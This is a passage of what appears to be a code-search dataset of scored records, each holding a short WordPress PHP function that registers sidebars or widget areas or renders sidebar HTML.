\tregister_sidebar(array(\n \t'name' => 'Blog Footer',\n \t'id' => 'blog-footer',\n \t'description' => 'Blog footer widgetized area',\n \t'before_widget' => '<div class=\"span4\"><div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div></div>',\n \t'before_title' => '<h3>',\n \t'after_title' => '</h3>'\n \t));\n\n \tregister_sidebar(array(\n \t'name' => 'Page Footer',\n \t'id' => 'page-footer',\n \t'description' => 'pages footer widgetized area',\n \t'before_widget' => '<div class=\"span4\"><div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div></div>',\n \t'before_title' => '<h3>',\n \t'after_title' => '</h3>'\n \t));\n\n \tregister_sidebar(array(\n \t'name' => 'Home Page Footer',\n \t'id' => 'home-footer',\n \t'description' => 'Home page footer widgetized area',\n \t'before_widget' => '<div class=\"span4\"><div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div></div>',\n \t'before_title' => '<h3>',\n \t'after_title' => '</h3>'\n \t));\n\n}", "title": "" }, { "docid": "4b1f6c7a698e69f8ca47583d5b18111c", "score": "0.68936706", "text": "function instructional_support_nav_widgets_init() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'Instructional Support Page Nav Left Col',\n\t\t'id' => 'instructional_support_page_nav',\n\t\t'before_widget' => '<div id=\"instructionalSupportNav\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '',\n\t\t'after_title' => '',\n\t) );\n\n}", "title": "" }, { "docid": "27ff4d8bea39458ac6d7a34b1986c3ca", "score": "0.6848937", "text": "function caldol_register_nav_sidebar(){\n\n\tregister_sidebar(array(\n\n\t\t\t'name' => 'CALDOL Nav Sidebar',\n\n\t\t\t'id' => 'caldol-nav-sidebar',\n\n\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\n\t\t\t'after_widget' => '</div>',\n\n\t\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\n\t\t\t'after_title' => '</h4>',\n\n\t));\n\n}", "title": "" }, { "docid": "dd48e0c4bc4fce924224472eb02625ab", "score": "0.68276006", "text": "function dft_register_sidebars() {\n register_sidebar(array(\n 'name' => 'Blog Sidebar',\n 'id' => 'sidebar-blog',\n 'description' => 'Sidebar visível apenas na página de blog.'\n ));\n\n register_sidebar(array(\n 'name' => 'Single Post Sidebar',\n 'id' => 'sidebar-singlepost',\n 'description' => 'Sidebar visível apenas no single post.'\n ));\n}", "title": "" }, { "docid": "ab5b1201992ca8739774847e7414ad6c", "score": "0.6816785", "text": "function YWR_2020_widgets_init()\n{\n register_sidebar(array(\n 'name' => __('General Page Sidebar', 'YWR_2020'),\n 'id' => 'sidebar-1',\n 'description' => __('Add widgets here to appear in your sidebar on standard pages.', 'YWR_2020'),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget clearfix %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<div class=\"fancy-title title-bottom-border\"><h2>',\n 'after_title' => '</h2></div>',\n ));\n\n}", "title": "" }, { "docid": "d689db2577755cf2bec443c71003ae93", "score": "0.68043786", "text": "function theme_widgets_init() {\n register_sidebar(array(\n 'name' => __('Main Widget Area', 'theme'),\n 'id' => 'sidebar-1',\n 'description' => __('Appears in the footer section of the site.', 'law-firm'),\n 'before_widget' => '',\n 'after_widget' => '',\n 'before_title' => '',\n 'after_title' => '<',\n ));\n\n register_sidebar(array(\n 'name' => __('Secondary Widget Area', 'theme'),\n 'id' => 'sidebar-2',\n 'description' => __('Appears on posts and pages in the sidebar.', 'law-firm'),\n 'before_widget' => '',\n 'after_widget' => '',\n 'before_title' => '',\n 'after_title' => '',\n ));\n}", "title": "" }, { "docid": "cf8fa60b97cdd27a97ca8d28c445258c", "score": "0.6800708", "text": "function simple_boostrap_register_sidebars() {\n register_sidebar(array(\n 'id' => 'sidebar-right',\n 'name' => __('Right Sidebar', 'simple-bootstrap'),\n 'description' => __('Used on every page.', 'simple-bootstrap'),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"widgettitle\">',\n 'after_title' => '</h4>',\n ));\n register_sidebar(array(\n \t'id' => 'sidebar-left',\n \t'name' => __('Left Sidebar', 'simple-bootstrap'),\n \t'description' => __('Used on every page.', 'simple-bootstrap'),\n \t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div>',\n \t'before_title' => '<h4 class=\"widgettitle\">',\n \t'after_title' => '</h4>',\n ));\n \n register_sidebar(array(\n 'id' => 'footer1',\n 'name' => __('Footer', 'simple-bootstrap'),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget col-sm %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"widgettitle\">',\n 'after_title' => '</h4>',\n ));\n \n}", "title": "" }, { "docid": "e6c99f69468b92d3ed273229bec76503", "score": "0.6795989", "text": "function arphabet_widgets_init() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'Home right sidebar',\n\t\t'id' => 'home_right_1',\n\t\t'before_widget' => '<div>',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h2 class=\"rounded\">',\n\t\t'after_title' => '</h2>',\n\t) );\n\n}", "title": "" }, { "docid": "277cb4a69eadce441021e077a5ec44f1", "score": "0.6790728", "text": "function gymfitness_widgets(){\n register_sidebar( array(\n 'name'=>'Sidebar 1',\n 'id' => 'sidebar_1',\n 'before-widget' => '<div class=\"widget\">', \n 'after-widget' => '</div>', \n 'before_title' => '<h3 class=\"text-center texto-primario\">',\n 'after_title' => '</h3>'\n\n\n ));\n register_sidebar( array(\n 'name'=>'Sidebar 2',\n 'id' => 'sidebar_2',\n 'before-widget' => '<div class=\"widget\">', \n 'after-widget' => '</div>', \n 'before_title' => '<h3 class=\"text-center texto-primario\">',\n 'after_title' => '</h3>'\n\n\n ));\n}", "title": "" }, { "docid": "b672a2fc5813082b6a654449f02c0d53", "score": "0.6789462", "text": "function aton_qodef_add_support_custom_sidebar() {\n add_theme_support('AtonQodefSidebar');\n if (get_theme_support('AtonQodefSidebar')) new AtonQodefSidebar();\n }", "title": "" }, { "docid": "e14beb6ed4f5a62ea4904d8d68c7c13e", "score": "0.6779107", "text": "function jn_widgets_init() {\n register_sidebar( array(\n 'name' => __('Main Sidebar', 'jn'),\n 'id' => 'sidebar-1',\n 'description' => __('The default sidebar to be used on pages','jn'),\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n ));\n}", "title": "" }, { "docid": "8155bfc13b0afe11c1d5446b99746357", "score": "0.67733026", "text": "function naked_register_sidebars() {\n register_sidebar(array( // Start a series of sidebars to register\n 'id' => 'sidebar', // Make an ID\n 'name' => 'Sidebar', // Name it\n 'description' => 'Take it on the side...', // Dumb description for the admin side\n 'before_widget' => '<div>', // What to display before each widget\n 'after_widget' => '</div>', // What to display following each widget\n 'before_title' => '<h1 class=\"title\">', // What to display before each widget's title\n 'after_title' => '</h1>', // What to display following each widget's title\n 'empty_title'=> '', // What to display in the case of no title defined for a widget\n // Copy and paste the lines above right here if you want to make another sidebar,\n // just change the values of id and name to another word/name\n ));\n}", "title": "" }, { "docid": "311b7386f4e5fcefd91948e6cc900c9b", "score": "0.6770943", "text": "function sidebar() {\n register_sidebar(\n array(\n 'name' => 'Pie de Pagina',\n 'id' => 'footer',\n 'description' => 'Zona de widget para el footer',\n 'before_title' => '<p>',\n 'after_title' => '</p>',\n 'before_widget' => '<div id=\"%1$s\" class=\"%2$s\">',\n 'after_widget' => '</div>',\n )\n );\n}", "title": "" }, { "docid": "ed240d31db7b321b6f888470b55411e3", "score": "0.6769138", "text": "function mythemepost_widgets(){ \n register_sidebar( array(\n 'name' => 'Lavel Up New Widget Area',\n 'id' => 'level_up_new_widget_area',\n 'before_widget' => '<aside>',\n 'after_widget' => '</aside>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n \n ));\n}", "title": "" }, { "docid": "72b74186090766bfadbf5e3b4d5b5137", "score": "0.67563206", "text": "function my_register_sidebars() {\r\n register_sidebar(\r\n array(\r\n 'id' => 'primary',\r\n 'name' => __( 'Primary Sidebar' ),\r\n 'description' => __( 'A short list of google searches.' ),\r\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\r\n 'after_widget' => '</div>',\r\n 'before_title' => '<h3 class=\"widget-title\">',\r\n 'after_title' => '</h3>',\r\n )\r\n );\r\n /* Repeat register_sidebar() code for additional sidebars. */\r\n}", "title": "" }, { "docid": "7480205cce08a0b2faa03459052384a4", "score": "0.675624", "text": "function wpstartup_sidebar_html(){\n\n if( has_nav_menu('side') ){\n echo '<div id=\"sidebarmenu\">';\n wpstartup_menu_html( 'side' );\n echo '<div class=\"clr\"></div></div>';\n }\n\n\n if( !is_page() && !is_single() && wp_startup_is_sidebar_active('sidebar-1') ){\n echo '<div id=\"sidebarcontent\">';\n wpstartup_widgetarea_html( 'sidebar-1' );\n echo '<div class=\"clr\"></div></div>';\n }else if( wp_startup_is_sidebar_active( 'sidebar-widget' ) ){\n echo '<div id=\"sidebarcontent\">';\n wpstartup_widgetarea_html( 'sidebar-widget' );\n echo '<div class=\"clr\"></div></div>';\n }\n}", "title": "" }, { "docid": "5021f9bbf702db4fa8c389ed9e77326a", "score": "0.6742946", "text": "function gymfitness_widgets(){\n\n register_sidebar(array(\n 'name' => 'Sidebar 1', \n 'id' => 'sidebar_1',\n 'before_widget' => '<div class=\"\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h2 class=\"widget-title\">',\n 'after_title' => '</h2>'\n ));\n register_sidebar(array(\n 'name' => 'Sidebar 2', \n 'id' => 'sidebar_2',\n 'before_widget' => '<div class=\"\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h2 class=\"widget-title\">',\n 'after_title' => '</h2>'\n ));\n\n}", "title": "" }, { "docid": "0feef7383de66fe71bb663806b8fea2f", "score": "0.674264", "text": "function register_sidebar_init() {\n\n\t}", "title": "" }, { "docid": "5d7adbb9a10b7b3c7c344cb68499f9cb", "score": "0.67410976", "text": "function hybrid_get_utility_after_singular() {\n\tget_sidebar( 'after-singular' );\n}", "title": "" }, { "docid": "ecdede7861e5203bd9a11688ac02123d", "score": "0.6728762", "text": "function stay_current_nav_widgets_init() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'Stay Current Page Nav Left Col',\n\t\t'id' => 'stay_current_page_nav',\n\t\t'before_widget' => '<div id=\"stayCurrentNav\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '',\n\t\t'after_title' => '',\n\t) );\n\n}", "title": "" }, { "docid": "35e188e185a37386790d029bbeadda38", "score": "0.67210007", "text": "function get_sidebar($name = \\null, $args = array())\n {\n }", "title": "" }, { "docid": "59b04141d3676e410d84096c705c4dd0", "score": "0.6714041", "text": "function wpdocs_theme_slug_widgets_init() {\n register_sidebar( array(\n 'name' => __( 'footer 2', 'wordpress' ),\n 'id' => 'sidebar-1',\n 'description' => __( 'Widgets in this area will be shown on all posts and pages.', 'wordpress' ),\n 'before_widget' => '',\n 'after_widget' => '',\n 'before_title' => '',\n 'after_title' => '',\n ) );\n}", "title": "" }, { "docid": "73dca43ae300bc4c9628108d7aa932df", "score": "0.67115927", "text": "function happy_register_sidebars() {\n\n\tregister_sidebar( array( 'name' => __( 'Feature', hybrid_get_textdomain() ), 'id' => 'feature', 'description' => __( 'Displayed in the feature area.', hybrid_get_textdomain() ), 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s widget-%2$s\"><div class=\"widget-inside\">', 'after_widget' => '</div></div>', 'before_title' => '<h3 class=\"widget-title\">', 'after_title' => '</h3>' ) );\n\n}", "title": "" }, { "docid": "e5230098f74a65330ee2fa57c73c042f", "score": "0.67088217", "text": "function doddy_child_register_sidebars() {\n register_sidebar(\n array(\n 'id' => 'cover-sidebar',\n 'name' => __( 'Widget para cover' ),\n 'description' => __( 'Widget para capa da front-page' ),\n 'class' => 'nav',\n 'before_widget' => '<div id=\"%1$s\" class=\"d-inline-flexd %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '',\n 'after_title' => '',\n ));\n}", "title": "" }, { "docid": "f7a615405c5d18f012c4746e36774076", "score": "0.670853", "text": "function theme_widgets_init() {\n\n register_sidebar( array(\n 'name' => 'Home Page Widget Area',\n 'description' => 'Widgets are full-width and appear below the title and above the shows list.',\n 'before_widget' => '<div class=\"row\"><div class=\"large-12 columns widget panel\">',\n 'after_widget' => '</div></div>',\n 'before_title' => '<h3>',\n 'after_title' => '</h3>',\n ) );\n\n // register_sidebar( array(\n // 'name' => 'Sidebar Widget Area',\n // 'description' => 'Sidebar widgets appear on episode pages',\n // 'before_widget' => '<div class=\"widget panel\">',\n // 'after_widget' => '</div>',\n // 'before_title' => '<h3>',\n // 'after_title' => '</h3>',\n // ) );\n\n}", "title": "" }, { "docid": "4ff1f6d155ed409049602796b8b2b71e", "score": "0.6691833", "text": "function joints_register_sidebars() {\n\tregister_sidebar(array(\n\t\t'id' => 'postleft',\n\t\t'name' => __('Sidebar - Post - Left', 'jointswp'),\n\t\t'description' => __('The left sidebar for posts on desktop.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'postright',\n\t\t'name' => __('Sidebar - Post - Right', 'jointswp'),\n\t\t'description' => __('The right sidebar for posts on desktop.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\t\n\tregister_sidebar(array(\n\t\t'id' => 'pageright',\n\t\t'name' => __('Sidebar - Page - Right', 'jointswp'),\n\t\t'description' => __('The first (primary) sidebar on pages.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'alertmessage',\n\t\t'name' => __('Widget - Alert Message', 'jointswp'),\n\t\t'description' => __('If populated, will display an alert on homepage, pages, posts.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'offcanvas',\n\t\t'name' => __('Offcanvas', 'jointswp'),\n\t\t'description' => __('The offcanvas sidebar.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\n\tregister_sidebar(array(\n\t\t'id' => 'footerleft',\n\t\t'name' => __('Widget - Footer Left', 'jointswp'),\n\t\t'description' => __('Populates top-left of footer.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'footerright',\n\t\t'name' => __('Widget - Footer Right', 'jointswp'),\n\t\t'description' => __('Populates top-right of footer.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'featuredhomepagearea',\n\t\t'name' => __('Widget - Featured Homepage Area', 'jointswp'),\n\t\t'description' => __('Populates optional Featured Homepage Area.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'emailhomepagearea',\n\t\t'name' => __('Widget - Email Homepage Area', 'jointswp'),\n\t\t'description' => __('Populates optional Email Homepage Area.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tregister_sidebar(array(\n\t\t'id' => 'beliefshomepagearea',\n\t\t'name' => __('Widget - Beliefs Homepage Area', 'jointswp'),\n\t\t'description' => __('Populates optional Beliefs Homepage Area.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\n\t/*\n\tto add more sidebars or widgetized areas, just copy\n\tand edit the above sidebar code. In order to call\n\tyour new sidebar just use the following code:\n\n\tJust change the name to whatever your new\n\tsidebar's id is, for example:\n\n\tregister_sidebar(array(\n\t\t'id' => 'sidebar2',\n\t\t'name' => __('Sidebar 2', 'jointswp'),\n\t\t'description' => __('The second (secondary) sidebar.', 'jointswp'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widgettitle\">',\n\t\t'after_title' => '</h4>',\n\t));\n\n\tTo call the sidebar in your template, you can just copy\n\tthe sidebar.php file and rename it to your sidebar's name.\n\tSo using the above example, it would be:\n\tsidebar-sidebar2.php\n\n\t*/\n}", "title": "" }, { "docid": "91074916036b64f5f7d9e30f6b3cd159", "score": "0.6689532", "text": "function mintshow_sidebar_widget_init() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'Left Sidebar',\n\t\t'id' => 'left_sidebar_1',\n\t\t// 'before_widget' => '<div>',\n\t\t// 'after_widget' => '</div>',\n\t\t// 'before_title' => '<h2 class=\"rounded\">',\n\t\t// 'after_title' => '</h2>',\n\t) );\n\n}", "title": "" }, { "docid": "699e85be52b346372c8036798e58c687", "score": "0.66871285", "text": "function bp_widgets_init() {\n // register_sidebar( array(\n // 'name' => __( 'Footer Widget Area', 'holstein' ),\n // 'id' => 'footer-widget',\n // 'description' => __( 'Appears on the bottom of every page.', 'holstein' ),\n // 'before_widget' => '<div class=\"col\">',\n // 'after_widget' => '</div>',\n // 'before_title' => '<h2>',\n // 'after_title' => '</h2>'\n // ) );\n\n register_sidebar( array(\n 'name' => __( 'Right Sidebar Widget Area', 'bp' ),\n 'id' => 'right-sidebar',\n 'description' => __( 'Appears on the right side of the blog index.', 'bp' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"widget-title\">',\n 'after_title' => '</h4>'\n ) );\n\n // register_sidebar( array(\n // 'name' => __( 'Left Sidebar Widget Area', 'holstein' ),\n // 'id' => 'left-sidebar',\n // 'description' => __( 'Appears on the left side of pages', 'holstein' ),\n // 'before_widget' => '<div id=\"%1$s\" class=\"area %2$s\">',\n // 'after_widget' => '</div>',\n // 'before_title' => '<h3>',\n // 'after_title' => '</h3>'\n // ) ); \n}", "title": "" }, { "docid": "90566889b6ccd206db0b0ade6836fc7f", "score": "0.6683998", "text": "function mocca_main_sidebar() {\n register_sidebar(array(\n 'name' => 'Mocca Sidebar',\n 'id' => 'mocca-sidebar', \n 'description' => 'Wordpress Apper SideBar',\n 'class' => 'sidebar-wordpress',\n 'before_widget' => '<div class=\"widget-content\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n ));\n }", "title": "" }, { "docid": "dfd919f2fddcc03c3b10158f48e1f25d", "score": "0.66827583", "text": "function my_register_sidebars() {\n register_sidebar(\n array(\n 'id' => 'main_sidebar',\n 'name' => __( 'Right Sidebar' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n )\n );\n\n /* Register the 'Footers' sidebar. */\n register_sidebar(\n array(\n 'id' => 'footer1',\n 'name' => __( 'Footer 1' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n )\n );\n register_sidebar(\n array(\n 'id' => 'footer2',\n 'name' => __( 'Footer 2' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n )\n );\n \n}", "title": "" }, { "docid": "ad40261d1dc5edc166da648b436a9974", "score": "0.66773635", "text": "function rhd_register_sidebars() {\n\tregister_sidebar(array(\n\t\t'name'\t\t\t=> __( 'Sidebar', 'rhd' ),\n\t\t'id'\t\t\t=> 'sidebar',\n\t\t'description'\t=> 'Menu hard-coded. Additional widgets will show below nav menu.',\n\t\t'before_title'\t=> '<h2 class=\"widget-title\">',\n\t\t'after_title'\t=> '</h2>',\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>'\n\t));\n\n\tregister_sidebar(array(\n\t\t'name'\t\t\t=> __( 'Footer Widget Area', 'rhd' ),\n\t\t'id'\t\t\t=> 'footer',\n\t\t'before_title'\t=> '<h2 class=\"widget-title\">',\n\t\t'after_title'\t=> '</h2>',\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget footer-widget %2$s\">',\n\t\t'after_widget' => '</div>'\n\t));\n}", "title": "" }, { "docid": "102e5ded4473cf4912078879734d5818", "score": "0.66692626", "text": "function dfcg_help_sidebar() {\n\n\t$sidebar = '<h3>'.__( 'DCG Resources', DFCG_DOMAIN ) . '</h3>';\n\t\n\t$sidebar .= 'Version: ' . DFCG_VER;\n\t\n\t$sidebar .= '<ul>';\n\t$sidebar .= '<li><a target=\"_blank\" href=\"'.DFCG_HOME .'quick-start-guide/\">'. __( 'Quick Start', DFCG_DOMAIN ) .'</a></li>'; \n\t$sidebar .= '<li><a target=\"_blank\" href=\"'.DFCG_HOME .'configuration-guide/\">'. __( 'Configuration Guide', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '<li><a target=\"_blank\" href=\"'.DFCG_HOME .'documentation/\">'. __( 'Documentation', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '<li><a target=\"_blank\" href=\"'.DFCG_HOME .'faq/\">'. __( 'FAQ', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '<li><a target=\"_blank\" href=\"'.DFCG_HOME .'error-messages/\">'. __( 'Error Messages', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '<li><a target=\"_blank\" href=\"'.DFCG_HOME .'changelog/\">'. __( 'Change Log', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '<li><a target=\"_blank\" href=\"http://www.studiograsshopper.ch/forum/\">'. __( 'Support Forum', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '</ul>';\n\t\n\t\n\t$sidebar .= '<ul>';\n\t$sidebar .= '<li><a href=\"https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=10131319\">';\n\t$sidebar .= __( 'Donate', DFCG_DOMAIN ) . '</a></li>';\n\t$sidebar .= '</ul>';\n\n\treturn $sidebar;\n}", "title": "" }, { "docid": "86f590f92e82e7ad4d56fb3c1078d9f2", "score": "0.6663042", "text": "function travomath_sidebar_init()\n{\n register_sidebar(\n array(\n 'name' => esc_html__('TravOMath News Letter', 'travomath'),\n 'id' => 'travomath-newsletter-widget',\n 'description' => 'Widgets For News Letter',\n 'before_widget' => '<section id=\"%1$s\" class=\"travomath-newsletter-widget %2$s\">',\n 'after_widget' => '</section>',\n 'before_title' => '<h2 class=\"travomath-newsletter-widget-title\">',\n 'after_title' => '</h2>',\n )\n\t);\n\t\n\t\n register_sidebar(\n array(\n 'name' => esc_html__('TravOMath Travel By Location', 'travomath'),\n 'id' => 'travomath-travelbylocation-widget',\n 'description' => 'Widgets For Travel By Location',\n 'before_widget' => '<section id=\"%1$s\" class=\"travomath-travelbylocation-widget %2$s\">',\n 'after_widget' => '</section>',\n 'before_title' => '<h2 class=\"link-title\">',\n 'after_title' => '</h2>',\n )\n\t);\n\t\n register_sidebar(\n array(\n 'name' => esc_html__('TravOMath Tips & Tricks', 'travomath'),\n 'id' => 'travomath-tipsandtricks-widget',\n 'description' => 'Widgets For Tips & Tricks',\n 'before_widget' => '<section id=\"%1$s\" class=\"travomath-tipsandtricks-widget %2$s\">',\n 'after_widget' => '</section>',\n 'before_title' => '<h2 class=\"link-title\">',\n 'after_title' => '</h2>',\n )\n\t);\n\t\n register_sidebar(\n array(\n 'name' => esc_html__('TravOMath Travel Shops', 'travomath'),\n 'id' => 'travomath-travelshops-widget',\n 'description' => 'Widgets For Tips & Tricks',\n 'before_widget' => '<section id=\"%1$s\" class=\"travomath-travelshops-widget %2$s\">',\n 'after_widget' => '</section>',\n 'before_title' => '<h2 class=\"link-title\">',\n 'after_title' => '</h2>',\n )\n\t);\n\t\n register_sidebar(\n array(\n 'name' => esc_html__('TravOMath Videos', 'travomath'),\n 'id' => 'travomath-videos-widget',\n 'description' => 'Widgets For Tips & Tricks',\n 'before_widget' => '<section id=\"%1$s\" class=\"travomath-videos-widget %2$s\">',\n 'after_widget' => '</section>',\n 'before_title' => '<h2 class=\"link-title\">',\n 'after_title' => '</h2>',\n )\n );\n}", "title": "" }, { "docid": "595b85cfcccab5d0d75a610af4bb5d66", "score": "0.6651851", "text": "function add_some_widgets()\r\n{\r\n register_sidebar( array(\r\n 'name' => __( 'Sidebar', 'sidebar' ),\r\n 'id' => 'sidebar',\r\n 'description' => __( 'This will be displayed followed by the regular sidebar', 'spd' ),\r\n 'before_widget' => '<div id=\"sidebar-%i\" class=\"widget\"><div class=\"widgetcontent\">',\r\n 'after_widget' => '</div></div>',\r\n 'before_title' => '<h5>',\r\n 'after_title' => '</h5>',\r\n ) );\r\n}", "title": "" }, { "docid": "5dec5e998db32a419de06e03ba563a00", "score": "0.66447896", "text": "function rovoko_archive_sidebar_position(){\n return apply_filters('rovoko_archive_sidebar_position','right');\n}", "title": "" }, { "docid": "d26eb449c3472ab30122ab4808cb82cf", "score": "0.6638115", "text": "function fen_register_sidebars() {\n // DOCS: http://codex.wordpress.org/Function_Reference/dynamic_sidebar\n\n register_sidebar(array(\n 'id' => 'page-sidebar', // ID must be unique\n 'name' => '[Page] Sidebar', // Name must let the user know the location of the sidebar.\n 'description' => 'Add some widgets.',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"widgettitle\">',\n 'after_title' => '</h4>',\n ));\n\n register_sidebar(array(\n 'id' => 'single-sidebar', // ID must be unique\n 'name' => '[Single] Sidebar', // Name must let the user know the location of the sidebar.\n 'description' => 'Add some widgets.',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"widgettitle\">',\n 'after_title' => '</h4>',\n ));\n\n register_sidebar(array(\n 'id' => 'archive-sidebar', // ID must be unique\n 'name' => '[Archive] Sidebar', // Name must let the user know the location of the sidebar.\n 'description' => 'Add some widgets.',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"widgettitle\">',\n 'after_title' => '</h4>',\n ));\n\n}", "title": "" }, { "docid": "a7590ce52024766ceeebf7cf86690c51", "score": "0.66361505", "text": "function wpdocs_theme_slug_widgets_init() {\n register_sidebar( array(\n 'name' => __( 'Main Sidebar', 'webino' ),\n 'id' => 'sidebar-1',\n 'description' => __( 'Widgets in this area will be shown on all posts and pages.', 'webino' ),\n 'before_widget' => '<li id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</li>',\n 'before_title' => '<h2 class=\"widgettitle\">',\n 'after_title' => '</h2>',\n ) );\n}", "title": "" }, { "docid": "233bc1bb0194f5baf9e410c2ad26582d", "score": "0.66279644", "text": "function phoenix_widget_setup() {\n register_sidebar(array(\n 'name' => 'Sidebar',\n 'id' => 'sidebar-1',\n 'class' => 'custom',\n 'description' => 'Single post of blog sidebar',\n ));\n}", "title": "" }, { "docid": "be209d81f170e3519c14d46397fbd525", "score": "0.6626978", "text": "function aton_qodef_register_sidebars() {\n\n register_sidebar(array(\n 'name' => 'Sidebar',\n 'id' => 'sidebar',\n 'description' => 'Default Sidebar',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4>',\n 'after_title' => '</h4>'\n ));\n\n }", "title": "" }, { "docid": "f3e4b2e0394e5707cae2273337faeaac", "score": "0.6619518", "text": "function shiftr_posts_sidebar() {\n register_sidebar([\n 'id' => 'the_blog_sidebar',\n 'name' => 'The Blog Sidebar',\n 'description' => 